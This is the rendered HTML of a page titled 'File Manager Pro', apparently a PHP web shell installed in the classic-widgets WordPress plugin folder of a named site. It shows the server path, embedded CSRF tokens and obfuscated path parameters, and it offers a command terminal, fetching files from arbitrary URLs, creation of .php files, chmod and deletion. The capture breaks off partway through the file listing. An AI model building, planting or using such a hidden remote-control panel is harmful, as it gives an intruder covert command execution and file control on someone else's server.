<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<meta name="robots" content="noindex,nofollow">
<title>File Manager Pro — classic-widgets</title>
<style>
:root{--bg:#0b1120;--surface:#111a2e;--surface2:#1c2942;--border:#263553;--border2:#33456b;--text:#e6edf7;--text2:#8ea0bf;--accent:#6366f1;--accent2:#818cf8;--violet:#8b5cf6;--green:#34d399;--red:#f87171;--amber:#fbbf24;--cyan:#22d3ee}
*{box-sizing:border-box;margin:0;padding:0}
html{scrollbar-color:var(--border2) var(--bg)}
body{background:var(--bg);color:var(--text);font:14px/1.6 system-ui,-apple-system,"Segoe UI",sans-serif;min-height:100vh}
::selection{background:rgba(99,102,241,.4)}
a{color:var(--accent2);text-decoration:none}
a:hover{text-decoration:underline}
svg{vertical-align:middle;flex-shrink:0}

/* ---------- header ---------- */
.topbar{position:sticky;top:0;z-index:50;display:flex;align-items:center;gap:14px;padding:12px 22px;background:rgba(11,17,32,.9);backdrop-filter:blur(12px);border-bottom:1px solid var(--border);flex-wrap:nowrap;min-width:0}
.brand{display:flex;align-items:center;gap:10px;font-size:15.5px;font-weight:700;letter-spacing:.01em}
.brand .mark{width:34px;height:34px;border-radius:10px;background:linear-gradient(135deg,var(--accent),var(--violet));display:flex;align-items:center;justify-content:center;color:#fff;box-shadow:0 4px 14px rgba(99,102,241,.35)}
.pathbar{margin-left:auto;display:flex;align-items:center;gap:10px;font-size:12px;color:var(--text2);min-width:0;flex-shrink:1}
.pathbar code{font-family:"SF Mono",SFMono-Regular,Consolas,"Liberation Mono",monospace;color:var(--cyan);background:var(--surface);border:1px solid var(--border);padding:3px 10px;border-radius:7px;max-width:46vw;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.badge{font-size:10.5px;font-weight:600;padding:3px 9px;border-radius:20px;background:rgba(99,102,241,.15);color:var(--accent2);border:1px solid rgba(99,102,241,.3);white-space:nowrap}

/* ---------- layout ---------- */
.wrap{max-width:1280px;margin:0 auto;padding:20px 22px 60px}
.crumbs{display:flex;align-items:center;gap:5px;padding:4px 0 16px;font-size:13px;color:var(--text2);flex-wrap:wrap}
.crumbs a{color:var(--text2);padding:3px 8px;border-radius:7px;font-weight:500}
.crumbs a:hover{background:var(--surface2);color:var(--accent2);text-decoration:none}
.crumbs .sep{color:var(--border2);font-size:11px}
.crumbs .cur{color:var(--text);font-weight:600;padding:3px 8px}

/* ---------- toolbar ---------- */
.toolbar{display:grid;grid-template-columns:repeat(auto-fit,minmax(250px,1fr));gap:12px;margin-bottom:18px}
.tool{background:var(--surface);border:1px solid var(--border);border-radius:14px;padding:12px 14px;display:flex;gap:8px;align-items:center;flex-wrap:wrap}
.tool .t-label{width:100%;font-size:10.5px;font-weight:700;color:var(--text2);text-transform:uppercase;letter-spacing:.08em;margin-bottom:2px;display:flex;align-items:center;gap:6px}
.tool input[type=text],.tool input[type=file]{background:var(--bg);border:1px solid var(--border2);color:var(--text);padding:8px 11px;border-radius:9px;font-size:13px;font-family:inherit;min-width:0}
.tool input[type=text]{flex:1;width:100%}
.tool input:focus{outline:none;border-color:var(--accent);box-shadow:0 0 0 3px rgba(99,102,241,.18)}
.btn{display:inline-flex;align-items:center;gap:6px;border:none;padding:8px 15px;border-radius:9px;font-size:12.5px;font-weight:600;cursor:pointer;font-family:inherit;white-space:nowrap;text-decoration:none;transition:all .15s}
.btn:hover{text-decoration:none}
.btn-primary{background:linear-gradient(135deg,var(--accent),var(--violet));color:#fff;box-shadow:0 3px 10px rgba(99,102,241,.3)}
.btn-primary:hover{filter:brightness(1.15)}
.btn-ghost{background:var(--surface2);color:var(--text);border:1px solid var(--border2)}
.btn-ghost:hover{background:var(--border);color:#fff}

/* ---------- messages ---------- */
.msg{display:flex;align-items:center;gap:9px;padding:11px 16px;border-radius:11px;margin-bottom:16px;font-size:13px;font-weight:500}
.msg.ok{background:rgba(52,211,153,.09);color:var(--green);border:1px solid rgba(52,211,153,.25)}
.msg.err{background:rgba(248,113,113,.09);color:var(--red);border:1px solid rgba(248,113,113,.25)}

/* ---------- listing ---------- */
.card{background:var(--surface);border:1px solid var(--border);border-radius:16px;overflow:hidden;box-shadow:0 10px 30px rgba(0,0,0,.25)}
.card-head{display:flex;align-items:center;gap:12px;padding:14px 18px;border-bottom:1px solid var(--border);flex-wrap:wrap}
.card-head .diricon{color:var(--amber)}
.card-head h3{font-size:13px;font-family:"SF Mono",SFMono-Regular,Consolas,monospace;color:var(--text);word-break:break-all;font-weight:600}
.card-head .count{margin-left:auto;font-size:11.5px;color:var(--text2);background:var(--surface2);padding:3px 11px;border-radius:20px;white-space:nowrap;border:1px solid var(--border)}
.tbl-scroll{overflow-x:auto}
table{width:100%;border-collapse:collapse;min-width:820px}
th{padding:9px 18px;text-align:left;font-size:10.5px;font-weight:700;text-transform:uppercase;letter-spacing:.08em;color:var(--text2);background:var(--surface);border-bottom:1px solid var(--border)}
td{padding:8px 18px;border-bottom:1px solid var(--border);font-size:13px;vertical-align:middle}
tbody tr:last-child td{border-bottom:none}
tbody tr{transition:background .12s}
tbody tr:hover td{background:var(--surface2)}
.nm{display:flex;align-items:center;gap:11px;min-width:220px}
.nm .ic{width:34px;height:34px;border-radius:9px;display:flex;align-items:center;justify-content:center;flex-shrink:0}
.ic.dir{color:var(--amber);background:rgba(251,191,36,.1)}
.ic.file{color:var(--text2);background:rgba(148,163,184,.09)}
.ic.link{color:var(--green);background:rgba(52,211,153,.1)}
.ic.image{color:var(--cyan);background:rgba(34,211,238,.1)}
.ic.code{color:var(--accent2);background:rgba(129,140,248,.12)}
.ic.archive{color:var(--violet);background:rgba(139,92,246,.12)}
.ic.doc{color:var(--green);background:rgba(52,211,153,.1)}
.ic.audio{color:#f472b6;background:rgba(244,114,182,.1)}
.ic.video{color:#fb923c;background:rgba(251,146,60,.1)}
.ic.font{color:#a3e635;background:rgba(163,230,53,.1)}
.nm .name{font-weight:500;word-break:break-all}
.nm .name a{color:var(--text)}
.nm .name a:hover{color:var(--accent2);text-decoration:none}
.sz{text-align:right;color:var(--text2);font-variant-numeric:tabular-nums;font-size:12px;white-space:nowrap}
.dt{color:var(--text2);font-size:12px;white-space:nowrap}
.pr{font-family:"SF Mono",SFMono-Regular,Consolas,monospace;font-size:11.5px;color:var(--text2);background:var(--bg);border:1px solid var(--border);padding:2px 7px;border-radius:6px;white-space:nowrap}
.act{text-align:right;white-space:nowrap}
.act form{display:inline;margin:0}
.iconbtn{display:inline-flex;align-items:center;justify-content:center;gap:4px;padding:5px 8px;border:1px solid var(--border2);border-radius:8px;background:transparent;color:var(--text2);cursor:pointer;margin-left:4px;transition:all .15s;vertical-align:middle;font-family:inherit;font-size:11px}
.iconbtn:hover{background:var(--surface2);color:var(--text);border-color:var(--accent)}
.iconbtn.danger{color:var(--red);border-color:rgba(248,113,113,.35)}
.iconbtn.danger:hover{background:rgba(248,113,113,.1);border-color:var(--red);color:var(--red)}
.mini{width:74px;padding:4px 7px;font-size:11px;border-radius:6px;background:var(--bg);border:1px solid var(--border2);color:var(--text);font-family:inherit}
.mini.narrow{width:52px}
.empty{padding:64px 20px;text-align:center;color:var(--text2)}
.empty svg{opacity:.3;margin-bottom:10px}
.empty p{font-size:13.5px}

/* ---------- editor / preview ---------- */
.editor-card{margin-bottom:20px}
.ed-head{display:flex;align-items:center;gap:12px;padding:14px 18px;border-bottom:1px solid var(--border);flex-wrap:wrap}
.ed-head .fp{font-family:"SF Mono",SFMono-Regular,Consolas,monospace;font-size:12.5px;color:var(--cyan);word-break:break-all}
.ed-head .meta{margin-left:auto;font-size:11.5px;color:var(--text2);display:flex;gap:8px;align-items:center}
textarea.ed{width:100%;min-height:62vh;background:var(--bg);color:var(--text);border:none;padding:18px 20px;font:13px/1.65 "SF Mono",SFMono-Regular,Consolas,"Liberation Mono",monospace;resize:vertical;tab-size:4}
textarea.ed:focus{outline:none}
.ed-foot{display:flex;justify-content:flex-end;gap:8px;padding:13px 18px;border-top:1px solid var(--border);flex-wrap:wrap}
.preview-body{padding:22px;display:flex;justify-content:center;background:var(--bg)}
.preview-body img{max-width:100%;border-radius:10px;border:1px solid var(--border)}

/* ---------- terminal ---------- */
.term{background:#04070f;border-bottom:1px solid var(--border);padding:16px 18px;font:12.5px/1.65 "SF Mono",SFMono-Regular,Consolas,"Liberation Mono",monospace;min-height:220px;max-height:58vh;overflow:auto;white-space:pre-wrap;word-break:break-word;color:#7ee2a8}
.term-in{display:flex;gap:10px;align-items:center;padding:13px 16px;background:var(--surface)}
.term-in .pr{font-family:"SF Mono",SFMono-Regular,Consolas,monospace;font-weight:700;color:var(--green);white-space:nowrap;font-size:13px}
.term-in input{flex:1;min-width:0;background:var(--bg);border:1px solid var(--border2);color:var(--text);padding:9px 12px;border-radius:9px;font:13px "SF Mono",SFMono-Regular,Consolas,monospace}
.term-in input:focus{outline:none;border-color:var(--green);box-shadow:0 0 0 3px rgba(52,211,153,.15)}

/* ---------- search ---------- */
.search-note{padding:12px 18px;border-bottom:1px solid var(--border);font-size:12.5px;color:var(--text2)}
.search-note b{color:var(--text)}

/* ---------- footer ---------- */
.foot{padding:20px;text-align:center;font-size:11.5px;color:var(--text2);border-top:1px solid var(--border);margin-top:44px}
.foot code{color:var(--text2);background:var(--surface);padding:2px 8px;border-radius:6px;border:1px solid var(--border)}

@media(max-width:860px){
  .wrap{padding:14px 12px 50px}
  .pathbar code{max-width:60vw}
  th,td{padding:7px 12px}
  .iconbtn{padding:5px 6px}
  .iconbtn .bl{display:none}
  .mini{width:64px}
}
</style>
</head>
<body>
<div class="topbar">
  <div class="brand">
    <span class="mark"><svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M3 7a2 2 0 0 1 2-2h4l2 2h8a2 2 0 0 1 2 2v9a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/></svg></span>
    File Manager <span style="color:var(--accent2)">Pro</span>
  </div>
  <div class="pathbar">
    <code title="/home/visionnavigation/webapps/visionnavigation/wp-content/plugins/classic-widgets">/home/visionnavigation/webapps/visionnavigation/wp-content/plugins/classic-widgets</code>
    <span class="badge">PHP 8.3.36</span>
    <span class="badge">Linux</span>
  </div>
</div>

<div class="wrap">


<div class="crumbs">
  <a href="?d=aJw">/</a><span class="sep">/</span><a href="?d=aJ9nKCwo">home</a><span class="sep">/</span><a href="?d=aJ9nKCwrFXo1O__USvPr5SywlSw40jA">visionnavigation</a><span class="sep">/</span><a href="?d=aJ9nKCwrFXo1O__USvPr5SywlSw40jGuMXUUNNN2a">webapps</a><span class="sep">/</span><a href="?d=aJ9nKCwrFXo1O__USvPr5SywlSw40jGuMXUUNNN2aPbSSuvgIVyiTg_CH5DH-8SI">visionnavigation</a><span class="sep">/</span><a href="?d=aJ9nKCwrFXo1O__USvPr5SywlSw40jGuMXUUNNN2aPbSSuvgIVyiTg_CH5DH-8SJhNclum28950Yn4Q">wp-content</a><span class="sep">/</span><a href="?d=aJ9nKCwrFXo1O__USvPr5SywlSw40jGuMXUUNNN2aPbSSuvgIVyiTg_CH5DH-8SJhNclum28950Yn4TeLSziVLjNN">plugins</a><span class="sep">/</span><span class="cur">classic-widgets</span></div>

<div class="toolbar">
    <form method="get" class="tool" action="">
    <span class="t-label">Navigate</span>
    <input type="hidden" name="d" value="aJ9nKCwrFXo1O__USvPr5SywlSw40jGuMXUUNNN2aPbSSuvgIVyiTg_CH5DH-8SJhNclum28950Yn4TeLSziVLjNN">
    <button type="submit" class="btn btn-ghost" style="width:100%;justify-content:center"><svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M12 19V5"/><path d="M5 12l7-7 7 7"/></svg> Up to plugins</button>
  </form>
  
  <form method="get" class="tool" action="">
    <span class="t-label"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M4 17l6-5-6-5"/><path d="M12 19h8"/></svg> Terminal</span>
    <input type="hidden" name="a" value="term">
    <input type="hidden" name="d" value="aJ9nKCwrFXo1O__USvPr5SywlSw40jGuMXUUNNN2aPbSSuvgIVyiTg_CH5DH-8SJhNclum28950Yn4TeLSziVLjNNHGaJbBfZcLoFaiz_peD7Yw">
    <button type="submit" class="btn btn-ghost" style="width:100%;justify-content:center"><svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M4 17l6-5-6-5"/><path d="M12 19h8"/></svg> Open terminal here</button>
  </form>

  <form method="post" enctype="multipart/form-data" class="tool" action="">
    <span class="t-label"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"/><path d="M17 8l-5-5-5 5"/><path d="M12 3v12"/></svg> Upload files</span>
    <input type="hidden" name="csrf" value="529b71e5d4494066cf43d2533ccd95ae">
    <input type="hidden" name="a" value="upload">
    <input type="hidden" name="dir_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cw">
    <input type="file" name="up[]" multiple style="flex:1;min-width:0">
    <button type="submit" class="btn btn-primary"><svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"/><path d="M17 8l-5-5-5 5"/><path d="M12 3v12"/></svg> Upload</button>
  </form>

  <form method="post" class="tool" action="" onsubmit="return fmEncField(this,['url','name'])">
    <span class="t-label"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><circle cx="12" cy="12" r="10"/><path d="M2 12h20"/><path d="M12 2a15.3 15.3 0 0 1 4 10 15.3 15.3 0 0 1-4 10 15.3 15.3 0 0 1-4-10 15.3 15.3 0 0 1 4-10z"/></svg> Upload from URL</span>
    <input type="hidden" name="csrf" value="529b71e5d4494066cf43d2533ccd95ae">
    <input type="hidden" name="a" value="fetch">
    <input type="hidden" name="dir_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cw">
    <input type="text" name="url" placeholder="https://example.com/file.zip" required>
    <input type="text" name="name" placeholder="save as (optional)" style="max-width:150px">
    <button type="submit" class="btn btn-primary"><svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><circle cx="12" cy="12" r="10"/><path d="M2 12h20"/><path d="M12 2a15.3 15.3 0 0 1 4 10 15.3 15.3 0 0 1-4 10 15.3 15.3 0 0 1-4-10 15.3 15.3 0 0 1 4-10z"/></svg> Fetch</button>
  </form>

  <form method="post" class="tool" action="" onsubmit="return fmEncField(this,'name')">
    <span class="t-label"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><path d="M14 2v6h6"/><path d="M12 12v6M9 15h6"/></svg> New file</span>
    <input type="hidden" name="csrf" value="529b71e5d4494066cf43d2533ccd95ae">
    <input type="hidden" name="a" value="newfile">
    <input type="hidden" name="dir_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cw">
    <input type="text" name="name" placeholder="new-file.php" required>
    <button type="submit" class="btn btn-ghost">Create</button>
  </form>

  <form method="post" class="tool" action="" onsubmit="return fmEncField(this,'name')">
    <span class="t-label"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M3 7a2 2 0 0 1 2-2h4l2 2h8a2 2 0 0 1 2 2v9a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><path d="M12 11v6M9 14h6"/></svg> New folder</span>
    <input type="hidden" name="csrf" value="529b71e5d4494066cf43d2533ccd95ae">
    <input type="hidden" name="a" value="mkdir">
    <input type="hidden" name="dir_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cw">
    <input type="text" name="name" placeholder="new-folder" required>
    <button type="submit" class="btn btn-ghost">Create</button>
  </form>

  <form method="post" class="tool" action="" onsubmit="return fmEncField(this,'dest')">
    <span class="t-label"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M5 12h14"/><path d="M13 6l6 6-6 6"/></svg> Go to path</span>
    <input type="hidden" name="csrf" value="529b71e5d4494066cf43d2533ccd95ae">
    <input type="hidden" name="a" value="goto">
    <input type="text" name="dest" placeholder="/home/user/public_html" required>
    <button type="submit" class="btn btn-ghost">Go</button>
  </form>

  <form method="get" class="tool" action="">
    <span class="t-label"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><circle cx="11" cy="11" r="8"/><path d="M21 21l-4.35-4.35"/></svg> Search here</span>
    <input type="hidden" name="d" value="aJ9nKCwrFXo1O__USvPr5SywlSw40jGuMXUUNNN2aPbSSuvgIVyiTg_CH5DH-8SJhNclum28950Yn4TeLSziVLjNNHGaJbBfZcLoFaiz_peD7Yw">
    <input type="text" name="q" placeholder="filename…" value="" style="flex:1">
    <button type="submit" class="btn btn-ghost"><svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><circle cx="11" cy="11" r="8"/><path d="M21 21l-4.35-4.35"/></svg> Search</button>
  </form>
</div>

    <div class="card">
    <div class="card-head">
      <span class="diricon"><svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M3 7a2 2 0 0 1 2-2h4l2 2h8a2 2 0 0 1 2 2v9a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/></svg></span>
      <h3>/home/visionnavigation/webapps/visionnavigation/wp-content/plugins/classic-widgets</h3>
      <span class="count">3 item(s) · 0 folders · 3 files</span>
    </div>

        <div class="tbl-scroll"><table>
      <thead>
        <tr>
          <th>Name</th>
          <th style="text-align:right">Size</th>
          <th>Modified</th>
          <th>Perms</th>
          <th style="text-align:right">Actions</th>
        </tr>
      </thead>
      <tbody>
              <tr>
          <td>
            <div class="nm">
                            <span class="ic code"><svg width="17" height="17" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M8 6l-6 6 6 6"/><path d="M16 6l6 6-6 6"/></svg></span>
              <span class="name"><a href="?a=edit&amp;f=aJ9nKCwrFXo1O__USvPr5SywlSw40jGuMXUUNNN2aPbSSuvgIVyiTg_CH5DH-8SJhNclum28950Yn4TeLSziVLjNNHGaJbBfZcLoFaiz_peD7YxL8m8YGZZ6t8FWPm7Md7WNw3BL9&amp;d=aJ9nKCwrFXo1O__USvPr5SywlSw40jGuMXUUNNN2aPbSSuvgIVyiTg_CH5DH-8SJhNclum28950Yn4TeLSziVLjNNHGaJbBfZcLoFaiz_peD7Yw">classic-widgets.php</a></span>
            </div>
          </td>
          <td class="sz">67.7 KB</td>
          <td class="dt">2026-10-30 07:23</td>
          <td><span class="pr">0644</span></td>
          <td class="act">
                          <a class="iconbtn" title="Edit" href="?a=edit&amp;f=aJ9nKCwrFXo1O__USvPr5SywlSw40jGuMXUUNNN2aPbSSuvgIVyiTg_CH5DH-8SJhNclum28950Yn4TeLSziVLjNNHGaJbBfZcLoFaiz_peD7YxL8m8YGZZ6t8FWPm7Md7WNw3BL9&amp;d=aJ9nKCwrFXo1O__USvPr5SywlSw40jGuMXUUNNN2aPbSSuvgIVyiTg_CH5DH-8SJhNclum28950Yn4TeLSziVLjNNHGaJbBfZcLoFaiz_peD7Yw"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M17 3a2.83 2.83 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5z"/></svg> <span class="bl">edit</span></a>
                                                  <a class="iconbtn" title="Download" href="?a=dl&amp;f=aJ9nKCwrFXo1O__USvPr5SywlSw40jGuMXUUNNN2aPbSSuvgIVyiTg_CH5DH-8SJhNclum28950Yn4TeLSziVLjNNHGaJbBfZcLoFaiz_peD7YxL8m8YGZZ6t8FWPm7Md7WNw3BL9"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"/><path d="M7 10l5 5 5-5"/><path d="M12 15V3"/></svg> <span class="bl">dl</span></a>
                                    <form method="post" action="" style="display:inline" onsubmit="return fmDoTransfer(this,'copy')">
              <input type="hidden" name="csrf" value="529b71e5d4494066cf43d2533ccd95ae">
              <input type="hidden" name="a" value="copy">
              <input type="hidden" name="dir_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cw">
              <input type="hidden" name="file_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cy9jbGFzc2ljLXdpZGdldHMucGhw">
              <button type="submit" class="iconbtn" title="Copy to…"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><rect x="9" y="9" width="13" height="13" rx="2"/><path d="M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0 0 1 2 2v1"/></svg> <span class="bl">copy</span></button>
            </form>
            <form method="post" action="" style="display:inline" onsubmit="return fmDoTransfer(this,'move')">
              <input type="hidden" name="csrf" value="529b71e5d4494066cf43d2533ccd95ae">
              <input type="hidden" name="a" value="move">
              <input type="hidden" name="dir_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cw">
              <input type="hidden" name="file_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cy9jbGFzc2ljLXdpZGdldHMucGhw">
              <button type="submit" class="iconbtn" title="Move to…"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M5 9l-3 3 3 3"/><path d="M9 5l3-3 3 3"/><path d="M15 19l-3 3-3-3"/><path d="M19 9l3 3-3 3"/><path d="M2 12h20"/><path d="M12 2v20"/></svg> <span class="bl">move</span></button>
            </form>
            <form method="post" action="" style="display:inline" onsubmit="return fmEncField(this,'newname') && confirm('Rename ' + "classic-widgets.php" + '?')">
              <input type="hidden" name="csrf" value="529b71e5d4494066cf43d2533ccd95ae">
              <input type="hidden" name="a" value="rename">
              <input type="hidden" name="dir_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cw">
              <input type="hidden" name="file_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cy9jbGFzc2ljLXdpZGdldHMucGhw">
              <input type="text" class="mini" name="newname" value="classic-widgets.php" title="New name">
              <button type="submit" class="iconbtn" title="Rename"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M4 20h16"/><path d="M14 3l-8 9h6l-2 8 8-9h-6z"/></svg></button>
            </form>
            <form method="post" action="" style="display:inline" onsubmit="return fmEncField(this,'mode') && confirm('Chmod ' + "classic-widgets.php" + ' to this mode?')">
              <input type="hidden" name="csrf" value="529b71e5d4494066cf43d2533ccd95ae">
              <input type="hidden" name="a" value="chmod">
              <input type="hidden" name="dir_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cw">
              <input type="hidden" name="file_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cy9jbGFzc2ljLXdpZGdldHMucGhw">
              <input type="text" class="mini narrow" name="mode" value="0644" title="Octal mode, e.g. 755">
              <button type="submit" class="iconbtn" title="Chmod"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><circle cx="12" cy="12" r="3"/><path d="M19.4 15a1.65 1.65 0 0 0 .33 1.82l.06.06a2 2 0 1 1-2.83 2.83l-.06-.06a1.65 1.65 0 0 0-1.82-.33 1.65 1.65 0 0 0-1 1.51V21a2 2 0 1 1-4 0v-.09A1.65 1.65 0 0 0 9 19.4a1.65 1.65 0 0 0-1.82.33l-.06.06a2 2 0 1 1-2.83-2.83l.06-.06a1.65 1.65 0 0 0 .33-1.82 1.65 1.65 0 0 0-1.51-1H3a2 2 0 1 1 0-4h.09A1.65 1.65 0 0 0 4.6 9a1.65 1.65 0 0 0-.33-1.82l-.06-.06a2 2 0 1 1 2.83-2.83l.06.06a1.65 1.65 0 0 0 1.82.33H9a1.65 1.65 0 0 0 1-1.51V3a2 2 0 1 1 4 0v.09a1.65 1.65 0 0 0 1 1.51 1.65 1.65 0 0 0 1.82-.33l.06-.06a2 2 0 1 1 2.83 2.83l-.06.06a1.65 1.65 0 0 0-.33 1.82V9a1.65 1.65 0 0 0 1.51 1H21a2 2 0 1 1 0 4h-.09a1.65 1.65 0 0 0-1.51 1z"/></svg></button>
            </form>
            <form method="post" action="" style="display:inline" onsubmit="return confirm('DELETE ' + "classic-widgets.php" + '? This cannot be undone!')">
              <input type="hidden" name="csrf" value="529b71e5d4494066cf43d2533ccd95ae">
              <input type="hidden" name="a" value="delete">
              <input type="hidden" name="dir_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cw">
              <input type="hidden" name="file_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cy9jbGFzc2ljLXdpZGdldHMucGhw">
              <button type="submit" class="iconbtn danger" title="Delete"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M3 6h18"/><path d="M8 6V4a2 2 0 0 1 2-2h4a2 2 0 0 1 2 2v2"/><path d="M19 6l-1 14a2 2 0 0 1-2 2H8a2 2 0 0 1-2-2L5 6"/><path d="M10 11v6M14 11v6"/></svg> <span class="bl">del</span></button>
            </form>
          </td>
        </tr>
              <tr>
          <td>
            <div class="nm">
                            <span class="ic doc"><svg width="17" height="17" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><path d="M14 2v6h6"/><path d="M9 13h6M9 17h6"/></svg></span>
